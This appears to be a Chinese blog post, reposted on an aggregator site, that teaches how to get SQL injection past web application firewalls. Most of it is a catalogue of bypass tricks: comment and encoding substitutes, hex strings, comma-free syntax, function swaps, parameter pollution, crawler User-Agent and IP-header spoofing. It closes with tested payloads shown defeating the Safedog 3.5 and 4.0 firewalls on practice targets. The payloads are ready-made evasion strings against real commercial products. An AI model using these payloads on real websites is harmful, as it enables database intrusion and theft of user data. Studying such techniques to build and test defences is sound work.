概述
目录
- sql注入过waf
- 常见的waf分类
- sql注入绕过方法
- 1. 空格被拦截
- 2. 单引号被过滤
- 3.逗号绕过 不同情况下的(from to) (join)(offset)
- 例如: from to
- 例如 join
- 当limit 0,1 逗号 不能用 可以用 offset
- like regex
- 4.比较符绕过 (<>) 等于号(=) 绕过
- 4.1 单个比较符 < 或者 > 绕过
- 4.2等于号 “=”绕过
- 5. or and xor not 绕过
- 6.函数过滤绕过
- sleep() 过滤
- ascii() 过滤
- group_concat()过滤
- substr()过滤
- 7.大小写绕过
- 8.双写关键字
- 9.内联注释绕过
- 10.http参数污染
- 11.垃圾数据溢出
- 12.更改提交方式
- 13.爬虫白名单绕过
- 14.url 白名单(现在也几乎没用,了解一下即可)
- 15.静态资源绕过(以前waf可以,现在基本不能)
- 16.ip白名单绕过(难利用)
- 实战测试
- 安全狗3.5
- union select 被过滤
- payload
- 分析原因
- 安全狗4.0
- and or Xor 被拦截
- union select 被拦截
- 4.0版本union select 被拦截绕过payload
- 分析原因:
- order by 被拦截 利用(/*//--/*/)
- 宝塔绕过方法
sql注入过waf
常见的waf分类
1.云waf:阿里云顿 百度安全宝,长亭雷池
2.硬件waf:绿盟、深信服、奇安信等
3.软件waf:安全狗、D盾、云锁、宝塔
4.代码waf
自己代码里写的waf规则。
sql注入绕过方法
先判断过滤哪些字符
eg
一加入select 就报错, 然后想办法 构造payload 绕过select过滤。
1. 空格被拦截
/**/,/*!*/,%20,%09,%0a,%0b,%0c,%0d,()
2. 单引号被过滤
将字符转换为16进制
例如:
select * from users where username = 'Dumb';
select * from users where username = 0x44756d62;
3.逗号绕过 不同情况下的(from to) (join)(offset)
盲注时 用substr(),mid(),limit 这些子句方法需要使用逗号,对于substr()和mid()可以使用 from to方式 和 join方式。 offset
例如: from to
select substr(database(),1,1)
相当于
select substr(database() from 1 for 1);
例如 join
select 1,2,3
相当于
select * from (select 1)a join (select 2)b
当limit 0,1 逗号 不能用 可以用 offset
select * from users limit 0,1;
相当于
select * from users limit 1 offset 0;
like regex
select ascii(substr(user(),1,1))= 114
相当于
select user() like 'r%';
select user() regexp 'r';
4.比较符绕过 (<>) 等于号(=) 绕过
4.1 单个比较符 < 或者 > 绕过
sqlmap用between脚本
用 greatest() 返回最大值 least() 返回最小值
select * from users where id = 1 and ascii(substr(user(),1,1))> 100
可以使用
select * from users where id = 1 and greatest(ascii(substr(user(),1,1)),100) = 100
4.2等于号 “=”绕过
<> 相当于 !=
比如 布尔盲注
语句结果真 页面显示 true
语句结果假 页面显示 false
你可以用 ?name=a’ or 1<>2 表示真
name为a的数据不存在 而1<>2 即1!=2为真, 这样就绕过了 等于号被过滤。
还可以用 like relike 函数
5. or and xor not 绕过
and = &&
or = ||
xor = |
not = !
6.函数过滤绕过
sleep() 过滤
benchmark(10000000,md5(1))
ascii() 过滤
ord()
group_concat()过滤
concat_ws('-----',"str1",'str2')代替
select group_concat(1,'-----------',1,'------',1);
可以用
select concat_ws('-----',1,1,1);
代替
substr()过滤
substring() mid() left()
7.大小写绕过
select SelEct
8.双写关键字
seselectlct
9.内联注释绕过
/*! */ 在mysql中 该注释可用
10.http参数污染
eg: php/apapche 安全狗 union select 被拦截
可以根据参数污染加 特殊符号
通过传入 ?id=1/**&id=-1 union select 1,2,3#*/
根据上图中的处理方式得知,接收获取后边的参数 -1 union select 1,2,3#*/
原理:安全狗匹配到的是1/**&id=-1 union select 1,2,3#*/ 或者1/**-1 union select 1,2,3#*/ ,安全狗认为语句被/** */注释 没有执行,直接忽视。
而由于参数污染,web程序接收的真实数据为-1 union select 1,2,3#*/, 拼接到sql语句中,数据库可以执行。
11.垃圾数据溢出
12.更改提交方式
13.爬虫白名单绕过
写python脚本,header={’User-Agent‘:'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'}
可绕过安全狗cc防护
14.url 白名单(现在也几乎没用,了解一下即可)
假如 /admin/ 处于url白名单中,可能url中只要有/admin/就不会被拦截。
结合静态资源绕过 可以使用
可以 http://localhost/www.sql.com/Less-1/index.php/admin.php/?id=1' union select 1,2,3 --+
15.静态资源绕过(以前waf可以,现在基本不能)
可能有些waf 只针对 .php .asp等脚本文件后缀进行检验。
可以在.php后加静态资源绕过 例如
http://127.0.0.1/Less-1/index.php?id=1
http://127.0.0.1/Less-1/index.php/1.txt/?id=1
16.ip白名单绕过(难利用)
修改xff,x-remote-ip,x-Originating-IP,x-remote-addr,x-Real-ip
如果基于网络层获取ip,无法利用
要获取对方ip 白名单 也难。 可以尝试对方本机真实ip。
实战测试
安全狗3.5
union select 被过滤
使用 内联注释+5五位数+%23+%0a 绕过 拦截
?id=1 union select 1,2,3; 会被拦截
经过测验 union select 函数被拦截
payload
union /*!06447%23%0a*/select
即可绕过
分析原因
安全狗认为%23讲后边的都注释掉了 就不存在union select 所以没有拦截
实际上执行过程为
union /*!06447 %23 %0a*/select
%0a为换行符
union /*!06447 %23
%0a*/select
就只剩下
union /*!06447
*/select
成功绕过
安全狗4.0
以pikachu 靶场为例
and or Xor 被拦截
可用 ^ 判断是否存在注入
异或绕过:Xor 或者 ^ 异或顾名思义,两个条件结果相同为假。不同为真。
1^0为1 1^1 0^0为0。
1‘ and ‘1’='1
如下图被拦截
payload
1’ ^ ‘1’='1
注入成功
union select 被拦截
?id=1 union select 1,2,3; 会被拦截
3.5版本绕过方法 失败
4.0版本union select 被拦截绕过payload
union /*!--+/*%0a select /*!1,2,*/3
分析原因:
union /*! --+/*%0a select /*!1,2, */3
安全狗看到 --+/*%0a select /*!1,2, */ 以为 --+ 将后边的语句都都注释掉了。 只剩下 union /*!*/3
实际上--+ 注释掉 后边/* %0a 将后边换行下去
select /*!1,2, */3
最后结果就剩下
union /*! select /*!1,2, */3
可以看到有两个/*! 而只有一个 */ 进行闭合,在mysql中允许这样执行
成功绕过
order by 被拦截 利用(///–//)
kobe ’ order by 2 #
如下图被拦截
payload
kobe' order/*//--/*/by 2 #
爆库
-1’ union select 1,database()# 被拦截
经判断 是database() 被拦截
再中间加入 绕过字符 即可
payload:
-1’ union///–//select 1,database///–//() #
后边 爆表 爆字段同理
宝塔绕过方法
看到其他博主的一篇文章
https://blog.csdn.net/weixin_54771278/article/details/117388614?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-4.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-4.essearch_pc_relevant
https://blog.csdn.net/weixin_48421613/article/details/115181668?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.essearch_pc_relevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.essearch_pc_relevant
最后
以上就是迷你篮球为你收集整理的sql注入过wafsql注入过waf实战测试的全部内容,希望文章能够帮你解决sql注入过wafsql注入过waf实战测试所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复